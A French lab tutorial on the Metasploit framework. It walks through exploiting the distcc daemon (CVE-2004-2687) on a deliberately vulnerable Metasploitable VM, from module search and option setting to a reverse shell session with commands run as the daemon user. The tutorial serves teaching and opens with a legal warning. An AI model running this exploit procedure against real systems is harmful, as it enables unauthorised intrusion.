Rappel :
Attention dans cet article l'outils est utilisé pour la recherche et l'apprentissage.
Ce type d'outils ne doit pas être utilisé vers un serveur qui ne vous appartient pas, ceci peut être puni par la loi (voir les articles 323-XX).
Présentation du framework :
Nous allons utilisé le framework Metasploit, qui un logiciel de pentesting open-source.
Environnement de test :
Pour cela nous allons utiliser une VM tournant sur la distribution Kali (attaquant) et une VM Metasploitable Server (cible) qui est un serveur ayant des vulnérabilités pour faire des démos.
Voici un schéma :
Utilisation de Metasploit :
Par défaut Kali ne démarre aucun service, pour utiliser Metasploit il faut démarrer PostgreSQL et Metasploit
1 service postgresql start
2 service metasploit start
Note : Il est possible de les lancer en automatique au démarrage de l'OS, sous Debian-like :
1 update - rc . d postgresql enable
2 update - rc . d metasploit enable
Lancer la console metasploit en CLI :
1 msfconsole
Vérifier la connection à la DB :
1 msf > db_status
2 [*] postgresql connected to msf3
3 msf >
Nous allons partir du constat que nous connaissons la vulnérabilité du serveur à exploiter, un autre billet sera fait sur sur détection de vulnérabilités.
1 msf > search - h
2 Usage : search [ keywords ]
3
4 Keywords :
5 app : Modules that are client or server attacks
6 author : Modules written by this author
7 bid : Modules with a matching Bugtraq ID
8 cve : Modules with a matching CVE ID
9 edb : Modules with a matching Exploit - DB ID
10 name : Modules with a matching descriptive name
11 osvdb : Modules with a matching OSVDB ID
12 platform : Modules affecting this platform
13 ref : Modules with a matching ref
14 type : Modules of a specific type ( exploit , auxiliary , or post )
15
16 Examples :
17 search cve : 2009 type : exploit app : client
18
19 msf >
20 msf > search type : exploit distcc
21
22 Matching Modules
23 ================
24
25 Name Disclosure Date Rank Description
26 ---- --------------- ---- -----------
27 exploit / aix / local / ibstat_path 2013 - 09 - 24 excellent ibstat $PATH Privilege Escalation
28 exploit / aix / rpc_cmsd_opcode21 2009 - 10 - 07 great AIX Calendar Manager Service Daemon ( rpc . cmsd ) Opcode 21 Buffer Overflow
29 exploit / aix / rpc_ttdbserverd_realpath 2009 - 06 - 17 great ToolTalk rpc . ttdbserverd _tt_internal_realpath Buffer Overflow ( AIX )
30 exploit / android / browser / webview_addjavascriptinterface 2012 - 12 - 21 normal Android Browser and WebView addJavascriptInterface Code Execution
31 exploit / android / fileformat / adobe_reader_pdf_js_interface 2014 - 04 - 13 good Adobe Reader for Android addJavascriptInterface Exploit
32 exploit / apple_ios / browser / safari_libtiff 2006 - 08 - 01 good Apple iOS MobileSafari LibTIFF Buffer Overflow
33 exploit / apple_ios / email / mobilemail_libtiff 2006 - 08 - 01 good Apple iOS MobileMail LibTIFF Buffer Overflow
34 .. SNiP ..
35 exploit / unix / misc / distcc_exec 2002 - 02 - 01 excellent DistCC Daemon Command Execution
36 .. SNiP ..
37
38 # Charger un exploit
39 msf > use exploit / unix / misc / distcc_exec
40
41 # Information de l'exploit
42 msf exploit ( distcc_exec ) > info
43
44 Name : DistCC Daemon Command Execution
45 Module : exploit / unix / misc / distcc_exec
46 Platform : Unix
47 Privileged : No
48 License : Metasploit Framework License ( BSD )
49 Rank : Excellent
50
51 Provided by :
52 hdm < hdm @metasploit . com >
53
54 Available targets :
55 Id Name
56 -- ----
57 0 Automatic Target
58
59 Basic options :
60 Name Current Setting Required Description
61 ---- --------------- -------- -----------
62 RHOST yes The target address
63 RPORT 3632 yes The target port
64
65 Payload information :
66 Space : 1024
67
68 Description :
69 This module uses a documented security weakness to execute arbitrary
70 commands on any system running distccd .
71
72 References :
73 http : // cvedetails . com / cve / 2004 - 2687 /
74 http : // www . osvdb . org / 13378
75 http : // distcc . samba . org / security . html
76
77 # OU
78 msf > info exploit / unix / misc / distcc_exec
79 ....
80
81 # Voir les options (champs à complter "Current Setting")
82 msf exploit ( distcc_exec ) > show options
83
84 Module options ( exploit / unix / misc / distcc_exec ):
85
86 Name Current Setting Required Description
87 ---- --------------- -------- -----------
88 RHOST yes The target address
89 RPORT 3632 yes The target port
90
91
92 Exploit target :
93
94 Id Name
95 -- ----
96 0 Automatic Target
97
98 # Set du champs RHOST
99 msf exploit ( distcc_exec ) > set RHOST 192 . 168 . 5 . 11
100 RHOST => 192 . 168 . 5 . 11
101
102 # Vérification de la prise en compte
103 msf exploit ( distcc_exec ) > show options
104
105 Module options ( exploit / unix / misc / distcc_exec ):
106
107 Name Current Setting Required Description
108 ---- --------------- -------- -----------
109 RHOST 192 . 168 . 5 . 11 yes The target address
110 RPORT 3632 yes The target port
111
112
113 Exploit target :
114
115 Id Name
116 -- ----
117 0 Automatic Target
118
119 # Lancer l'exploit et on voit bien qu'on a compromis le distant :
120 msf exploit ( distcc_exec ) > exploit
121
122 [] Started reverse double handler
123 [] Accepted the first client connection ...
124 [] Accepted the second client connection ...
125 [] Command : echo VnzwKKezdFZ4K6E2 ;
126 [] Writing to socket A
127 [] Writing to socket B
128 [] Reading from sockets ...
129 [] Reading from socket B
130 [] B : "VnzwKKezdFZ4K6E2 \r\n "
131 [] Matching ...
132 [] A is input ...
133 [] Command shell session 1 opened ( 192 . 168 . 5 . 15 : 4444 -> 192 . 168 . 5 . 11 : 58362 ) at 2016 - 03 - 20 16 : 02 : 34 + 0100
134
135 pwd
136 /tmp
137 ifconfig
138 eth0 Link encap:Ethernet HWaddr 08:00:27:97:1b:cf
139 inet addr:192.168.5.11 Bcast:192.168.5.255 Mask:255.255.255.0
140 inet6 addr: 2a01:e35:8be7:d740:a00:27ff:fe97:1bcf/ 64 Scope : Global
141 inet6 addr : fe80 :: a00 : 27 ff : fe97 : 1 bcf / 64 Scope : Link
142 UP BROADCAST RUNNING MULTICAST MTU : 1500 Metric : 1
143 RX packets : 1904 errors : 0 dropped : 0 overruns : 0 frame : 0
144 TX packets : 306 errors : 0 dropped : 0 overruns : 0 carrier : 0
145 collisions : 0 txqueuelen : 1000
146 RX bytes : 200005 ( 195 . 3 KB ) TX bytes : 41347 ( 40 . 3 KB )
147 Base address : 0xd010 Memory : f0000000 - f0020000
148
149 lo Link encap : Local Loopback
150 inet addr : 127 . 0 . 0 . 1 Mask : 255 . 0 . 0 . 0
151 inet6 addr : :: 1 / 128 Scope : Host
152 UP LOOPBACK RUNNING MTU : 16436 Metric : 1
153 RX packets : 330 errors : 0 dropped : 0 overruns : 0 frame : 0
154 TX packets : 330 errors : 0 dropped : 0 overruns : 0 carrier : 0
155 collisions : 0 txqueuelen : 0
156 RX bytes : 135145 ( 131 . 9 KB ) TX bytes : 135145 ( 131 . 9 KB )
157
158 hostname
159 metasploitable
160 id
161 uid = 1 ( daemon ) gid = 1 ( daemon ) groups = 1 ( daemon )